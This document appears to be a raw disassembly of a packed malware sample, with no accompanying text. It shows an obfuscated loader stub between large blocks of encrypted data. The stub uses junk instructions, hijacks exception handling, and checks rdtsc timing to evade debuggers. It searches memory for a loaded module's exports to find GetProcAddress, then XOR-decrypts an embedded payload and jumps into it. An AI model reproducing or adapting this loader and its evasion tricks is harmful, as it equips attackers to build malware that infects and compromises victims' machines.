dd 0F76FF7EAh, 0E48167B9h, 9770F4F8h, 48E558A3h, 50489492h dd 0BFB6B8FEh, 4C52C772h, 8D058CFFh, 30E8F686h, 294CDF25h dd 0A455532Ah, 583C8CBFh, 64A894F2h, 590C7B5Ch, 0FF7CAF22h dd 0F40725C9h, 0DB7007A1h, 0BE95607Ch, 0B96FC089h, 0E10CE96Bh dd 6D815442h, 0C8640E76h, 9EBFE0D9h, 35DE0D99h, 0B0B90B85h dd 2AB1166Eh, 0D59034E3h, 0E02E7540h, 0F67A20E4h, 603D5C97h dd 7FBFDEADh, 74E677ACh, 8708BE61h, 78BD684Bh, 60F0E43Ah dd 5D1D5186h, 0DD41C767h, 48248EBAh, 50C841E9h, 9F8FBC46h dd 3078B4AAh, 0A7872Eh, 20032313h, 9D4B9C06h, 1038AB32h dd 8948CDFh, 43C7833Eh, 58CCDCBEh, 745D8382h, 0E8447CB7h dd 94A064FAh, 83F40E61h, 8A77AB25h, 8A30C1B5h, 0C58344BAh dd 53E4779Fh, 70B5BF8Fh, 4BA43CACh, 2B13CF58h, 1D8B348Dh dd 90F82DB6h, 88540C9Dh, 54B107Eh, 783CBEBEh, 322879E1h dd 0ED07EC5Eh, 6060A616h, 1257D427h, 2CCD5F82h, 71B4DCBCh dd 4353CC20h, 3984F65Fh, 537BA400h, 0ADEFACF6h, 20C0E69Eh dd 18150CEEh, 18EA95F2h, 58578D07h, 39021140h, 7D1B7C26h dd 0F0484D26h, 0C8C46C0Eh, 6D33620Eh, 0D88C4C8Eh, 55FF54E4h dd 0C864753Ah, 0C0E2442Ah, 7EB228E3h, 893CB1F5h, 0A8242C7Eh dd 0A6E524DEh, 0A17FA9CCh, 159F14A2h, 88C4359Ah, 8040448Ah dd 7F26F783h, 72B23660h, 83730E18h, 52F76E33h, 8E5E7664h dd 82FB23F0h, 2C16471Ah, 0C3F8C665h, 284EE0EBh, 0B477B4C2h dd 0D71B5691h, 62281165h, 8D439C16h, 1038AAC0h, 4AE03921h dd 95FF845Ah, 0F87C4290h, 0B2B8F9AFh, 7DC96C9Eh, 0E0A02692h dd 0D8760E37h, 92D4E12Dh, 5D0B4C2Eh, 0C0707A0Ch, 0FA9089E9h dd 25C73492h, 0A8B412C8h, 0E15891D7h, 2D831CD6h, 90F8566Ah dd 2AC1F3C8h, 3C01434h, 686EA0D3h, 985BF4E2h, 6804EC4Eh dd 0E1718EE7h, 48E453CBh, 5FB88C92h, 5D34493Fh, 80A5C47Ah dd 0C7443F15h, 0B539BBB2h, 2874B92Eh, 20C099D9h, 4499CACh dd 34D41594h, 7D65E052h, 0C468E4D9h, 8D1383C9h, 0AED9CA7h dd 3A2C93F1h, 81CF9B85h, 0A0B1A3C8h, 681A6004h, 0C8744C9Bh dd 3F45AC4Ah, 8139C369h, 809C7089h, 0E96C99E3h, 0F01B24CAh dd 0A27D7A4Eh, 0B51B16B4h, 88D46448h, 44CB0475h, 28FEFC9Ch dd 4EEA619Dh, 0AC07ECDEh, 3CCE6532h, 2D00E399h, 540E5711h dd 0B7CEAE96h, 0BFDF2C15h, 0FB6D43A9h, 3078C07Ah, 9055472Eh dd 2050A4B5h, 18BC81EEh, 10085672h, 894BC66h, 106C4Ah dd 0DCAE7CB6h, 0F15DCC22h, 0EBAC6C8Eh, 22B064FAh, 8C915C4Ah dd 0FE4558F6h, 0B4F4B4BDh dd 0C08824B3h, 33CC3C16h, 0ED0810D6h, 45253665h, 0A0001D3Ch dd 679CFB2Eh, 942A75CDh, 8E530E9Eh, 88C3050Fh, 8FAD0F7Fh dd 9415FFCAh, 8B010011h, 0FFh, 155Eh dup(0) ; --------------------------------------------------------------------------- cld push ebp mov ebp, esp call sub_31432018 jmp short $+2 stc call sub_314320D6 nop cmc jmp loc_31432069 ; =============== S U B R O U T I N E ======================================= sub_31432018 proc near ; CODE XREF: UPX2:31432004p push dword ptr fs:0 mov ds:dword_314320C0, ebp mov ebx, ebx mov eax, eax mov fs:0, esp xor ebx, ebx push 10h push ebx push ebx push ebx push ebx push ebx push ebx push 2000h push ebx push 1000h push ebx call ds:dword_31428090 ; GetProcAddress xor edx, edx push edx push 80000000h push edx push 10h push edx push 80000000h push edx push edx call ds:dword_31428090 ; GetProcAddress loc_31432069: ; CODE XREF: UPX2:31432013j mov eax, eax jmp short $+2 cmc sub eax, eax loc_31432070: ; CODE XREF: sub_31432018+5Ej dec al or al, al jz short loc_3143207A jnz short loc_31432070 jmp short near ptr loc_314320E0+1 ; --------------------------------------------------------------------------- loc_3143207A: ; CODE XREF: sub_31432018+5Cj cmc cld nop cmc clc call loc_31432086 clc cmc sub_31432018 endp ; sp-analysis failed loc_31432086: ; CODE XREF: sub_31432018+67p pop edi cld cmc add edi, 75h mov edx, 2990h cld xchg ebx, ebx clc clc cld sub ebx, ebx add ebx, 0A6h push edi nop jmp short $+2 loc_314320A6: ; CODE XREF: UPX2:314320B9j call sub_314320E7 xchg ebx, ebx add edi, 1 dec edx cmc cld stc stc cmc cmp edx, 0 ja short loc_314320A6 pop edi stc jmp short $+2 ; --------------------------------------------------------------------------- db 0BDh dword_314320C0 dd 12FFC0h ; sub_3143C9A8+6w ; --------------------------------------------------------------------------- mov ebx, [ebp-8] mov fs:0, ebx xchg ebx, ebx leave cld cld jmp edi ; --------------------------------------------------------------------------- db 89h, 0DBh ; =============== S U B R O U T I N E ======================================= sub_314320D6 proc near ; CODE XREF: UPX2:3143200Cp arg_C = dword ptr 10h mov eax, [esp+arg_C] pop dword ptr [eax+0B8h] loc_314320E0: ; CODE XREF: sub_31432018+60j xor eax, eax retn sub_314320D6 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 89h, 0C0h db 87h, 0DBh ; =============== S U B R O U T I N E ======================================= sub_314320E7 proc near ; CODE XREF: UPX2:loc_314320A6p xchg al, [edi] stc cld jmp short $+2 stc nop sub ax, bx clc mov [edi], al retn sub_314320E7 endp ; --------------------------------------------------------------------------- jmp short $+2 stc call $+5 mov eax, [esp] cld mov [eax+32C7h], ebx mov ecx, [eax+297Fh] mov ebx, [esp+4] and ecx, 10000000h jz short loc_31432145 pop ecx mov [eax+32CBh], esi mov cl, [eax+2983h] mov [eax+32CFh], edi cmp cl, 0E8h jz short loc_3143213A mov ebx, [eax+2985h] jmp short loc_31432143 ; --------------------------------------------------------------------------- loc_3143213A: ; CODE XREF: UPX2:31432130j add ebx, [eax+2984h] mov ebx, [ebx+2] loc_31432143: ; CODE XREF: UPX2:31432138j mov ebx, [ebx] loc_31432145: ; CODE XREF: UPX2:31432118j push ebp mov ebp, eax sub dword ptr [esp+4], 80FEh sub ebp, 101005h mov edi, [esp+4] lea esi, [ebp+103990h] mov ecx, 0 rep movsb call sub_3143221E mov ecx, eax call sub_3143221E sub eax, ecx jz short loc_314321F0 cmp eax, 100h ja short loc_314321F0 and ebx, 0FFFFF000h loc_31432184: ; CODE XREF: UPX2:31432193j cmp dword ptr [ebx+4Eh], 73696854h jz short loc_31432195 loc_3143218D: ; CODE XREF: UPX2:314321A2j sub ebx, 100h jnz short loc_31432184 loc_31432195: ; CODE XREF: UPX2:3143218Bj mov eax, ebx add eax, [ebx+3Ch] mov edx, [eax+78h] cmp word ptr [eax], 4550h jnz short loc_3143218D add edx, ebx mov esi, [edx+20h] mov ecx, [edx+18h] add esi, ebx push ecx loc_314321AF: ; CODE XREF: UPX2:loc_314321C3j lodsd add eax, ebx cmp word ptr [eax+2], 5074h jnz short loc_314321C3 cmp dword ptr [eax+5], 6441636Fh jz short loc_314321C8 loc_314321C3: ; CODE XREF: UPX2:314321B8j loop loc_314321AF pop ecx jmp short loc_314321F0 ; --------------------------------------------------------------------------- loc_314321C8: ; CODE XREF: UPX2:314321C1j sub [esp], ecx mov esi, [edx+24h] pop ecx add esi, ebx movzx eax, word ptr [esi+ecx*2] mov edi, [edx+1Ch] add edi, ebx mov esi, [edi+eax*4] add esi, ebx lea eax, [ebp+10113Fh] mov dx, [eax-17h] call sub_31432223 jmp short loc_31432238 ; --------------------------------------------------------------------------- loc_314321F0: ; CODE XREF: UPX2:31432175j ; UPX2:3143217Cj ... mov eax, [ebp+103984h] and eax, 10000000h jz short loc_3143221C mov edi, [esp+4] lea esi, [ebp+103988h] lodsd mov ebx, [ebp+1042CCh] stosd movsb mov edi, [ebp+1042D4h] mov esi, [ebp+1042D0h] loc_3143221C: ; CODE XREF: UPX2:314321FBj pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_3143221E proc near ; CODE XREF: UPX2:31432167p ; UPX2:3143216Ep rdtsc retn sub_3143221E endp ; --------------------------------------------------------------------------- db 0BEh, 91h ; =============== S U B R O U T I N E ======================================= sub_31432223 proc near ; CODE XREF: UPX2:314321E9p push ebx mov ecx, 2845h mov ebx, edx loc_3143222B: ; CODE XREF: sub_31432223+11j xor [eax], dl sub dl, bl xchg bl, bh inc eax xchg dl, dh loop loc_3143222B pop ebx retn sub_31432223 endp ; --------------------------------------------------------------------------- loc_31432238: ; CODE XREF: UPX2:314321EEj push esi popf ; --------------------------------------------------------------------------- dw 0 dd 0B1E82C42h, 0DD4028B5h, 0FFE04F24h, 0AEEF5ACEh, 68B262DBh dd 39F0C5C6h, 519CA35Ah, 8441E4ACh, 0ABD21A07h, 0AC694988h dd 37AE439h, 780ED36Bh, 46B93F72h, 417FB5F6h, 71DDDF0Eh dd 9232348Ah, 0EDC43DEDh, 19C1FBF9h, 7ADC35A4h, 58532AE6h dd 39144292h, 0EBA7FE92h, 6723D365h, 0D0705F30h, 2BEBFF27h dd 8C681EA7h, 7FDB462Ah, 3D71D93Eh, 0EA4148A6h, 0FA788574h dd 0F2E94437h, 5005DE3Eh, 75043FD7h, 0EC2D8E41h, 5A0CFBDFh dd 2D106CCDh, 9514A7C2h, 0E48D01F3h, 779F63DAh, 0B0B054D6h dd 0BE248E2h, 6CB8EFBAh, 789952EBh, 0A5B0A950h, 16216B47h dd 69714676h, 0D2026D47h, 48E0807Eh, 7E440C8Fh, 225D12D9h dd 0FB4CDB34h, 9CDFB666h, 0F65487C6h, 0BECC221Dh, 0DA9F405Ah dd 98E0319Eh, 50527AABh, 0A080DDB6h, 406CBB58h, 0BE6566AEh dd 6374670Ch, 2A7C5A76h, 357C3338h, 9000A433h, 0B10FEF52h dd 3C04767Fh, 1A612A4Ah, 751099DEh, 0C6863BC7h, 4BBDB6D6h dd 0B270A0B8h, 784AFD55h, 0C3FD1F51h, 3C33F873h, 8107686Ah dd 0F867F012h, 91A8108Ch, 0A538369Eh, 0B429EC7Ah, 0E340E1C0h dd 0FE41EF46h, 1ED72909h, 905B8B8Ah, 0B051030Eh, 36D44392h dd 9558257Eh, 4449FC9Ah, 0D560F120h, 0AC60B062h, 66689D24h dd 0EA842BAAh, 0A2705D2Eh, 0AA1CF6B2h, 0D4797F61h, 63FCF2D2h dd 76152E3Eh, 7604BFFCh, 0FC898D4Ch, 0E43AFE35h, 0BD78495Eh dd 7F1427D2h, 74980707h, 0B145E3B0h, 0CFAAAB54h, 1E1A3577h dd 2F599666h, 0F47AE669h, 0A7B0397Eh, 86362376h, 64BE1D76h dd 1672D3FAh, 208CFD3Ah, 0C0361AFDh, 69456D96h, 0BA5C5CDCh dd 255DE0BDh, 764439ACh, 0BC4BEB27h, 325CC16Fh, 2E121C1Dh dd 0E1647F32h, 0CCEA5D22h, 68E9B02Ah, 77F00990h, 0E3FBF642h dd 44E8ED6Dh, 1CA636B1h, 70FF91AEh, 0F601E043h, 37085DFFh dd 8AB2EDCFh, 7960F6CEh, 6FBB62DDh, 0B993C5C6h, 128C9D90h dd 81DF9B3Dh, 0F221D063h, 27282DDFh, 9A92C9E7h, 97391AEEh dd 0C33BD603h, 24288CBFh, 2BD2B92h, 0A8FDFCFEh, 35C45FBDh dd 6A4847C9h, 7EBCF453h, 3253088Dh, 612DC4D2h, 0C32A57Ch dd 0E73F3617h, 0C9D9610Eh, 23E43FA2h, 73965022h, 0C18A0455h dd 483DDDA3h, 40F4B7B2h, 3F189Dh, 6F184111h, 0D0BDA5ABh dd 176283C2h, 0FF236B44h, 0AFEEE908h, 38FA1DC5h, 16664BBAh dd 9E540E56h, 0B8D8E8DAh, 0B0A0295Eh, 0CE4E17E2h, 62C2AF37h dd 84B924BAh, 70B0A950h, 6E745371h, 0E4B8079Ah, 0C2568771h dd 0E0AAFDF5h, 7C2E0F68h, 34C887D4h, 3A4CB9E6h, 7281A9E4h dd 63ABD7EDh, 0D4C85B40h, 4DD91A45h, 91E7A591h, 0DBE9FF22h dd 4CF8CDA6h, 2A600093h, 0FB1F12AEh, 0E699F697h, 49F845A6h dd 0B26871BFh, 0D0E0EEBEh, 34A48516h, 0E29D3239h, 9F8CBB74h dd 0CC65D60Eh, 0D69528BAh, 0B409ADD6h, 0F7CF235Ah, 542649Ah dd 27D68F05h, 4944D490h, 5DACFE0Dh, 0E8352906h, 8A01A872h dd 5B3825B4h, 928271EFh, 0F5BFA6FEh, 3ED4F1A4h, 1E22AD6Ch dd 0C49A1E75h, 0F0E9691Eh, 21D44793h, 98D1C43Dh, 8D8B57BEh dd 405E7B8Bh, 0AD128CA2h, 1C57AB83h, 0BDB87BAAh, 0F6EECCD1h dd 667137A2h, 73E7342h, 8C8EF744h, 48A4A5C1h, 346EAFA8h dd 0C21E18B9h, 1A896BDAh, 5003953Ah, 9614225Ah, 9709CC65h dd 6499DAE0h, 45A0D161h, 2A581ED0h, 9EDB1E42h, 4B042F99h dd 0A8BE9EAFh, 0D66047F2h, 34E8A420h, 0CA92CA9h, 0A5C0A140h dd 0F130D6C2h, 0D4EC1979h, 857ACE85h, 5D38299Eh, 25ABF8EFh dd 6AFE7069h, 0BCB7C30Ah, 11C8651Fh, 11337F22h, 0DCD67B33h dd 8CF9C42Ah, 61F00990h, 998B0CF2h, 44928FB6h, 2216B350h dd 16891D4h, 55846B42h, 0EC082702h, 5E072720h, 46EB31h dd 5694D30Dh, 0EEF00CE5h, 9F635CA5h, 0E035D04Bh, 9FF50D62h dd 86BDC2B6h, 9AC0B54h, 0E3F3D92Ah, 1EEC8F8Dh, 240A59F6h dd 2B2F87Ah, 0E04070FEh, 0BEC44F82h, 9C482D06h, 7AE58F8Ah dd 5850E90Eh, 65829692h, 2A6A30E9h, 0AB77838Ah, 0A5A0E5B2h dd 6D0ADD59h, 951588ABh, 95BEFBBAh, 584E53BBh, 6A713EB2h dd 0EC788574h, 0E2FC73ACh, 0ABEF3E72h, 0EC545FB7h, 10E17B2Fh dd 0C698CAFh, 5DE5A52Fh, 0E944A793h, 0E4A6B7C3h, 8299EADAh dd 73A0511Ch, 0FD455DBEh, 1C9B303h, 2863BF8Fh, 5CD3DC04h dd 7262CB81h, 90DB1025h, 0B64F3FFAh, 0CEA55D0Ch, 1B364C02h dd 1AAD99E7h, 7B29A763h, 7DA2EA8Eh, 0B031F373h, 99BD09FFh dd 0DB2C337Bh, 90A146F0h, 0F018D61h, 3EB8B8D2h, 5909D845h dd 4BF0D8DDh, 92151240h, 0A99D07D3h, 0F6194755h, 0E16563D6h dd 2CC7EF26h, 597CACA3h, 7FFEC31Eh, 0BB10EDAFh, 0A2F50220h dd 0DB7711B3h, 0FEF94B36h, 231232AEh, 3DD4BE0Ch, 2C5CD28Eh dd 7EC5E32Fh, 8D4211BAh, 80B43313h, 0F05D599Fh, 0D6D97E13h dd 1339A291h, 6AA9AAF6h, 1C2DC06Fh, 9FA9F9CCh, 0AA320042h dd 0B6AD35F3h, 0D22C4051h, 33B96FF3h, 3912956Ah, 4B90CAC0h dd 4B68DC55h, 83AA0FCFh, 0A1233C42h, 0E1F452C8h, 0ED3E6153h dd 0BA896D6h, 780B453h, 7149DBA7h, 99E4F822h, 0BE620A82h dd 0B8D12C22h, 0C2604295h, 32E86833h, 1C798FB3h, 71C5AC3Fh dd 7A41D8E2h, 9CC51832h, 0A2583ABAh, 0CDF7392Fh, 0F4514186h dd 0AD79C05h, 365994FAh, 53B2D428h, 0BB2AE06Bh, 9BC82CFEh dd 0D51A3F6Fh, 0FDBD5CE2h, 1932695Bh, 20B988E4h, 7332AC73h dd 718FED9Eh, 8C0D3346h, 0B59A3CD4h, 0CB213B6Bh, 0ED994FDEh dd 2012B845h, 449DB9DFh, 4C19C375h, 656CF8F8h, 0AEF40E0Fh dd 0FD6F23AFh, 0FFFC644Ah, 176259A0h, 25E78231h, 5B6A95D6h dd 61EFC639h, 9966B3EDh, 0CED02C10h, 0CF474FB6h, 0B9DF680Fh dd 1055B7DCh, 23E7D706h, 4851F382h, 76C8D21Fh, 9522188Ch dd 0FFB72AF6h, 0E82D7E06h, 1FA062CCh, 3D3D805Ah, 53B89492h dd 4758D573h, 97A8F0E3h, 0BD093573h, 0E88B6BC7h, 0D80D714Fh dd 6A8996C3h, 291DB77Bh, 439DE1C2h, 421EDA41h, 0E2991FD3h dd 0B4F23868h, 0DF684EB7h, 1FE7612Ah, 337EBCCAh, 51D6AC3Ah dd 5814C2BEh, 9EFCC422h, 826810AFh, 0D9D6282Ch, 0EB437A8Eh dd 7C7A915h, 42CB58Fh, 4DC2FA1Ah, 4051E393h, 0E4DD191Fh dd 0B07F27B4h, 0C5B4501Bh, 1D2B7D52h, 5CBB9EE3h, 480FBF44h dd 7DA4C8EBh, 953BF542h, 91AB16F3h, 0C6124362h, 0F18553DDh dd 0B379A56h, 2381A9C5h, 5E22BB44h, 6995EBEDh, 95211246h dd 0B6A827D3h, 0D1195055h, 0F44E11CDh, 8F48E0Fh, 737FA8AFh dd 79E9F82Ch, 967FE0BAh, 99E02952h, 0F27620A6h, 92F94F33h dd 6F7590h, 3CF4B107h, 5F4DDE89h, 61C3CF19h, 0A630178Bh dd 0A3C41806h, 0C75D6698h, 0ECD37A0Eh, 3034BFFEh, 5BB0A0F0h dd 751ED965h, 9BB9FFF8h, 0B5352462h, 0B6AD35FDh, 0E1095158h dd 3BA571FFh, 220F8770h, 4790DECFh, 633CF349h, 0EA821EC1h dd 0BA272D60h, 0F09143DBh, 0F10C675Fh, 7B19FDBh, 39F2BE53h dd 7270FDC2h, 9FE1E313h, 89690FA5h, 0D6F93B3Ah, 0D77B73B5h dd 27F17638h, 3C7591AEh, 63F7C139h, 6F50CCA3h, 9CDD0914h dd 0A54038EAh, 0C7C35C1Dh, 0F2517C91h, 0AD79676h, 365FB694h dd 54A5D67Eh, 8A37E06Ah, 0BDA614E4h, 0C84C2E67h, 98A64AEBh dd 123A6261h, 37B79696h, 3228A671h, 7594CFD7h, 9A011150h dd 0BF8731E5h, 0C40D734Fh, 889575CAh, 300997Bh, 309DBBC4h dd 6108D67Dh, 656EFFD1h dd 0BAE11B21h, 0C8693995h, 0F4C52B2Fh, 16626CBAh, 26DB9337h dd 3459ABB3h, 77E8CD13h, 8445EFACh, 0A0C12F2Dh, 0ED444FB3h dd 0FEC2526Ah, 0D5E8B8Bh, 27D18506h, 4851F392h, 46FD931Fh dd 0A91030A8h, 0FAEA7DB1h, 0CE48614Ah, 168F6CEFh, 13359A61h dd 64D4BEF7h, 6417C273h, 9797EDFFh, 91182467h, 0C9816DA2h dd 0FE0D6877h, 68DADD3h, 3035BC5Bh, 43A6B7F3h, 701DC651h dd 979012ECh, 81F8145Bh, 683779C2h, 2ADE0F2Ch, 5B663F41h dd 20E2361Ch, 46815884h, 7F989514h, 844A351Eh, 0C05F170Eh dd 30B1E0FAh, 0EFA8ED58h, 8872CB2Eh, 613DB966h, 57FCBC09h dd 0E4B8751Eh, 0E670DE12h, 0CAC05B7Dh, 2D145E07h, 9043E8ECh dd 6A98405Ah, 4990C3DAh, 63ABD440h, 0D4C85B70h, 4D508799h dd 80DECF0Bh, 66A07C22h, 0B87D5065h, 196CAB17h, 5AF0F367h dd 0D474475Ah, 953CDEB6h, 0F23C596Bh, 3187BEFh, 34D0E782h dd 0A9F79DC8h, 1A9C95A8h, 0CB304D4Dh, 0D954E280h, 6EEF874Fh dd 515E0002h, 98DF3289h, 0B15B20A3h, 2C8D39E9h, 62FC9B6Ah dd 0E8300B02h, 0C6DE83F9h, 0E452F97Dh, 92BC1312h, 32429BFEh dd 0D2ACCFE8h, 7648AD74h, 0AA9FDA8Ah, 0E686FCF1h, 0EF8B4782h dd 0AA7EB0E9h, 8D59038Ah, 0DDEB906Ah, 2EF4AA2Ah, 99E591C5h dd 0EAFC6BAAh, 9B27882Dh, 237FE54Dh, 84682BF4h, 4A267C37h dd 6B68D13Eh, 95FB503Dh, 0ECB657C3h, 0FD83E6CAh, 50904967h dd 69EBD8C8h, 4A5E80DDh, 0DD91E3CAh, 30A0E870h, 0F1DB960Ah dd 262DF699h, 4F2C4BD4h, 25904DAEh, 861D2C7Dh, 9A4C1D76h dd 0C7B72C05h, 20D08FACh, 0F5304F87h, 0F580E20Bh, 65A44B0Ah dd 132FD670h, 239758D5h, 54D8E57Eh, 0DFDD9E1Ah, 10F0BA82h dd 6BE9B611h, 0CCF84301h, 0FB3D6F7Bh, 77A148FEh, 764AA5A7h dd 60FC52B6h, 1C5A26C5h, 0C25D91AEh, 36D16F46h, 0BC084DC6h dd 0D161AA17h, 121019D5h, 40016AADh, 6418D5CDh, 36BC6E08h dd 7320ABDEh, 9C253A6h, 0BC336163h, 4D8CD66Ah, 782BA76Bh dd 6CB4F372h, 4EFBE8F6h, 0B54CB60h, 6D4071FEh, 406E2EC0h dd 5FB858CFh, 458C9EE3h, 0DC55E91Eh, 0BF96CF9Ah, 467E583h dd 313E749Ah, 0D060894Bh, 2FB93FA2h, 9C73B8CBh, 2E7170AAh dd 0CB70C911h, 26FC93CEh, 4C11139h, 0E7D73BAh, 0C0805336h dd 9F004796h, 0E9770D46h, 5A1CD5B0h, 0BC1D35C5h, 1615A3F6h dd 0F4F2D556h, 0D21C6732h, 0E2F2175Eh, 1BDB48E2h, 6CB8C310h dd 0DDA112D9h, 28B0B86Ah, 45EC6A3h, 8CB91F27h, 823C53FAh dd 0E255CE2Ch, 0E8441F3Ch, 7BC1B03h, 3E249F5Ah, 4FD0A98Fh dd 0D67033EDh, 2BD86594h, 0A263618Fh, 5065789Eh, 7A87E956h dd 263C56F6h, 7D3DE92Ah, 0B26566F8h, 0BF74670Ch, 148D9533h dd 84E9CC6Ch, 0D000180h, 9D6AB15h, 0B15089ACh, 1A8DAFDDh dd 382322CEh, 25CD7738h, 0E448157Dh, 0C2CC730Ah, 3AB5FE8Ch dd 0CFA4CF5Ch, 2C2AB522h, 2ED8646Ah, 0FAA586E6h, 95B4474Dh dd 9B2AA009h, 40E1136Ah, 5EC0F1FAh, 78C5BA88h, 9CC208Dh dd 0E32F8B9Ah, 0C850FC83h, 67D74782h, 108ADA40h, 6D540C5Ah dd 5F60E11Fh, 2EE5AF26h, 36561D26h, 6AAA6BDFh, 4C7F5910h dd 0A6F436B3h, 0F1582BB6h, 5C7DB54Bh, 7CE986Eh, 0D18FEDB7h dd 0B389CB80h, 0B05DA5E1h, 0EBC6184Eh, 0A91EB22Dh, 4FC10546h dd 8D99EC1Bh, 0BDA0C15Eh, 1E3A0467h, 84A81766h, 0CA2C5BE6h dd 3D4F6A3Eh, 862428F8h, 64B8F94Bh, 0FDB9DCFAh, 0C9C0B17Eh dd 0FE448FB3h, 8E985307h, 3F431D43h, 98D0292Bh, 0DA5CC191h dd 0D0D7E8AAh, 325CC383h, 0E39581A2h, 0E15E438Eh, 0CCE8D123h dd 8A61962Ah, 0B5D0398Eh, 12119013h, 7854AAC3h, 0A300C61Ah dd 68206EC0h, 0AFF11B36h, 0CC0B3347h, 0EFA30470h, 8757CFA6h dd 0ECA5E852h, 3418E2C6h, 0EDCE41ADh, 0E01E2B4Bh, 9E646C62h dd 44786DB6h, 8AAC1B63h, 64796AAh, 22D5B81Eh, 3EAD4AF6h dd 87BC8345h, 0D376053Eh, 0FA41C64Bh, 0CD483D39h, 7ACE0BE2h dd 0E01B88Eh, 284138C2h, 9958B529h, 0E2C71C0Fh, 1953311Eh dd 0FCB46EF6h, 19974C77h, 6AFCC5F8h, 0B754DDA9h, 36CA9127h dd 84BB6D36h, 0F2E90437h, 379503Eh, 9F6E2EA8h, 0F773EB9h dd 0DF1914CEh, 0BCABD8Eh, 0A5C42C09h, 0C8C8865Dh, 0CFDFD657h dd 0A2B414Eh, 8E241EEEh, 6DA077EDh, 0B22FDBEAh, 0A3D07245h dd 67926439h, 6FF7002h, 4112B80Fh, 2B933EB9h, 0AACF58CEh dd 1CA2B9D6h, 0C526995Bh, 26363C71h, 7BDF8702h, 0D4C85BCCh dd 99508799h, 9709A251h, 6E0EF8E5h, 361DD4Eh, 653F7829h dd 49A7CDE8h, 0AB283260h, 0AB8A36DFh, 0D61A5C49h, 0EE6946E2h dd 2DF38026h, 4E7D8E9Ah, 6EE2CE38h, 8B62EC98h, 8AFA083Bh dd 0D8683D93h, 0E0F95135h, 24155DEh, 6D0BA05h, 2C5CCE89h dd 5AAC9B68h, 0E9307991h, 0BEDB2502h, 0CD16589Fh, 0E3DB7008h dd 19389092h, 3EA8BFACh, 570BE448h, 8DA3E0AAh, 0AA3F086Fh dd 0E5814DE5h, 0F7787753h, 3C954CD0h, 3916C73Eh, 2491CBD0h dd 0C687573h, 6BB17BAAh, 0D86EF4C3h, 0D171F1B2h, 84780523h dd 5C826645h, 0A841D12Eh, 7438DBDDh, 0CA3D0658h, 830C7BF4h dd 0CDBE75E2h, 0A89541F8h, 57ED18A9h, 6D265E57h, 462BC14Eh dd 6881C8E0h, 5C2DF0C3h, 452C4BD2h, 0B888EFEBh, 0C0BDEDF2h dd 9AF6798Ch, 0A03D6201h, 0C8905AB1h, 1BB7423h, 0D4EC1105h dd 52083E0Eh, 98D02986h, 58174141h, 5494A9D2h, 0CD656E5h dd 0D0EBA18Eh, 84F77256h, 59170EA4h, 0AA7C0518h, 6063C951h dd 998B09A5h, 44F8DE5Eh, 613AE03Ah, 2E53DEE1h, 0DEC82306h dd 8282D839h, 0E6642B5Ah, 90EFF630h, 0A96B1152h, 26C44829h dd 0DBAFA34Ah, 0B2C80453h, 9FF55F72h, 0FD786CB7h, 1F534A3Bh dd 6820C768h, 46B4DC9Ah, 616BE0F6h, 2C8EA028h, 0E00C3DBAh dd 804EDA7Dh, 96A02D16h, 0DCC0B8Ah, 3122997Dh, 77B2B3FCh dd 81A7F516h, 0F2CCBDA8h, 0EE5AE497h, 9FEB3FB2h, 951590ABh dd 0EF65FBBAh, 4860E66Eh, 0AC6148E3h, 97788508h, 0E2FC77D2h dd 4A35DC3Eh, 0C7043FDBh, 43AEB0CBh, 98E4EBDAh, 5E6F36BBh dd 8792215h, 0A4988546h, 0CC73C659h, 3DA0414Eh, 9E3A3277h dd 6FCAD66h, 182CB1EBh, 28B0BB06h, 2CA16872h, 61B86549h dd 0E049093Ah, 0BEA0BCF3h, 14160F12h, 317D6080h, 6E4CDB14h dd 4980F9D8h, 0D8C17840h, 8CD875A9h, 8D7AD6E5h, 1526218Eh dd 6E74BE65h, 4CE435A6h, 793BBB2Ah, 3BBBDAE1h, 0AA305900h dd 510755FAh, 0A26C0DB0h, 8007792Dh, 0EB09EF42h, 3C18D527h dd 0EC312613h, 101099F0h, 296B926Fh, 0B418493Eh, 0DCD5745Ah dd 24654F97h, 2E89B4Ch, 0A6BD42E6h, 8FAC8B54h, 0DDB4762Eh dd 55B45770h, 0A438309Eh, 9D099E7Ah, 3940E1E7h, 1D6720Fh dd 1AA0AD16h, 7933747Fh, 0C86F7FB3h, 32DB4792h, 94582706h dd 734CEF1Bh, 3834E11Eh, 2EE4BEA3h, 329E08D9h, 2E6D7BBAh dd 0C87058BEh, 0CC20BCE2h, 11874736h, 62ECCCACh, 35D911BBh dd 0D8CC7CFh, 69778D46h, 0DA1C5560h, 513ABA5h, 960439BDh dd 0F9B17056h, 4202905Fh, 0A55F915Eh, 0E34A0E0h, 68A7BDE3h dd 0CA2C5A63h, 23BC79E5h, 904E8F2h, 74A69AF3h, 5B915FAh dd 21C0A13Fh, 0FF2E8F68h, 49376FECh, 0BA5C7404h, 972FD10Dh dd 76556796h, 0C1557696h, 324CDD71h, 43B2B1F4h, 0D09AEADDh dd 0C6D5DB6h, 0AB2CBE25h, 357D19AEh, 6664E9BEh, 7810DD07h dd 4A834CC0h, 912Ah dd 5762441Ch, 435C69F2h, 8AB2A9DFh, 0E2AD84CEh, 0E794F74Ch dd 0CE052DD7h, 87115CA5h, 0F0309F59h, 0DACC5F08h, 0FE283DE6h dd 8039E439h, 0E530E9D1h, 0CBA0F336h, 347A5D63h, 0B4B3C37Ah dd 0C404FAF4h, 0B6248E96h, 8E496704h, 30DE09C0h, 7C14E20Dh dd 3935479Ah, 455045D7h, 0E2F8C791h, 5D3053E1h, 0BEDB771Fh dd 8C74F526h, 44C9FBAAh, 6650A118h, 1CD49992h, 2A5DB013h dd 9AD90B82h, 0CAF3741Eh, 0D04D6088h, 83DF0D66h, 4A32D15Fh dd 9454484Eh, 7C14A7D2h, 0A7CFD556h, 0ED16F625h, 3D2B414Eh dd 8E340A72h, 774BFD0Ch, 1B211281h, 28B0BC86h, 6211B1F2h dd 1BEF757Ch, 0D202696Fh, 0AC04B27Eh, 164FE452h, 5CC8ED81h dd 24EC7687h, 4B87A99Eh, 0C95E12EDh, 145D6586h, 7D11764h dd 90F01ED6h, 7BF45AA1h, 0C1E8DDB6h, 3A2DFCA7h, 623EB2AEh dd 0B5222632h, 0FBFEC049h, 5AFF332Ah, 112F6FBEh, 0EB0911C9h dd 3C18F28Eh, 0B47EA6FAh, 107099BBh, 296B9D78h, 570F37B7h dd 93EBAE53h, 0BFABEB35h, 0F3291149h, 2C3882AEh, 0FD2B3F99h dd 1763C005h, 0D68AADE7h, 0D385B5F6h, 83BC036Fh, 5028DB8Ah dd 0C1C4CFF7h, 0C760793h, 